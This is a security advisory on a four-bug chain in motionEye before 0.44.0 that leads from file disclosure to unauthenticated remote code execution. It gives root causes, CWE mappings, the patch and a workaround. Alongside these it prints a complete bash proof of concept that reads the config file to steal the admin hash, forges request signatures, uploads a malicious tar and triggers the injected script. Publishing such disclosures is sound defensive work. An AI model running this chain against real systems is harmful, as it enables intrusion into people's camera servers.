critical · 9.8Jun 26, 2026

motionEye LFI to Unauthenticated RCE Chain (CVSS 9.8)

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Four chained bugs in motionEye let a network attacker read any file on the server, steal the admin password hash, upload a malicious script via a tar restore, and execute it without any credentials, r

Packagemotioneye
Ecosystempip
Affected< 0.44.0
Fixed in0.44.0
motionEye LFI to Unauthenticated RCE Chain (CVSS 9.8)

The problem

motionEye before 0.44.0 is vulnerable to a four-stage unauthenticated RCE chain. The picture download endpoint accepts absolute paths (e.g. `/etc/motioneye/motion.conf`) without validation, leaking the admin SHA-1 password hash from a world-readable config file.

The authentication layer accepts HMAC signatures computed with that hash directly, so no plaintext password is needed. A crafted tar uploaded to the config-restore endpoint extracts attacker-controlled files into CONF_PATH with no entry filtering. The action handler at `/action/<id>/<action>` carries no authentication decorator at all, so anyone can trigger the injected script via a plain POST.

Proof of concept

bash
#!/usr/bin/env bash
# motionEye GHSA-qxvg-h7q2-hcxh – unauthenticated RCE chain PoC
# Requires: one local motion camera with id 1, empty normal-user password (default)
TARGET="http://TARGET:8765"

# Step 1 – LFI: read admin hash from world-readable config
ADMIN_HASH=$(curl -s --path-as-is "${TARGET}/picture/1/download//etc/motioneye/motion.conf" \
  | grep '@admin_password' | awk '{print $2}')
echo "[+] admin hash: ${ADMIN_HASH}"

# Step 2 – build malicious tar: drop executable action script into CONF_PATH
cat > /tmp/lock_1 << 'EOF'
#!/bin/sh
touch /tmp/meye_rce_ok
EOF
chmod +x /tmp/lock_1
tar -czf /tmp/payload.tar.gz -C /tmp lock_1

# Step 3 – compute signature with stolen hash as key (pass-the-hash)
# Signature derivation mirrors handlers/base.py get_current_user() logic:
#   sha1("POST:/config/restore?_username=admin::<hash>")
SIG=$(python3 -c "
import hashlib, urllib.parse, re
method='POST'
path='/config/restore?_username=admin'
key='${ADMIN_HASH}'
_re = re.compile(r'[^A-Za-z0-9/?.=&{}\[\]\":\, -]', re.DOTALL)
ppath = _re.sub('-', path)
pkey  = _re.sub('-', key)
print(hashlib.sha1(f'{method}:{ppath}::{pkey}'.encode()).hexdigest())
")
echo "[+] signature: ${SIG}"

# Step 4 – restore malicious tar as admin (pass-the-hash auth)
curl -s -X POST "${TARGET}/config/restore?_username=admin&_signature=${SIG}" \
  -F "backup=@/tmp/payload.tar.gz"

# Step 5 – trigger unauthenticated action execution
curl -s -X POST "${TARGET}/action/1/lock"

echo "[+] check result:"
curl -s --path-as-is "${TARGET}/picture/1/download//tmp/meye_rce_ok" && echo 'RCE confirmed'

The root cause is a combination of four independent weaknesses that compose into a clean exploit chain. `get_media_content()` in `mediafiles.py` only checked for `..` sequences, not absolute paths. Python's `os.path.join()` silently discards the configured media directory when given an absolute path, so `/etc/motioneye/motion.conf` is read directly (CWE-22).

The config file was created with `0644` permissions, exposing the `@admin_password` SHA-1 hash to any process on the system and, via the LFI, to any network attacker. The signature verification in `handlers/base.py` accepted that raw hash as the signing key, bypassing the need for the plaintext password (CWE-347, CWE-269).

The restore function ran `tar zxC CONF_PATH` on attacker-supplied data with no allowlist or member validation, permitting injection of arbitrary files including executable camera action scripts (CWE-434). `ActionHandler.post()` in `handlers/action.py` had no `@BaseHandler.auth()` decorator at all (CWE-306), so any unauthenticated POST to `/action/<id>/<action>` spawned the injected script via `subprocess.Popen`.

The fix

Upgrade to motionEye 0.44.0. The patch applies `0600` mode to `motion.conf` and `camera-*.conf` (closes the hash-leak path), rejects any API path containing traversal elements with a 403 (fixes LFI), enforces passwords for both admin and normal users stored as Argon2 (removes pass-the-hash), limits restore to an allowlist of generated config file types and rejects action scripts in tarballs, and adds `@BaseHandler.auth(admin=True)` to `ActionHandler.post()`.

If you cannot upgrade immediately, set a non-empty normal-user password to block unauthenticated access to the picture download endpoint.

Reported by C4spr0x1A and MichaIng.

References: [1][2]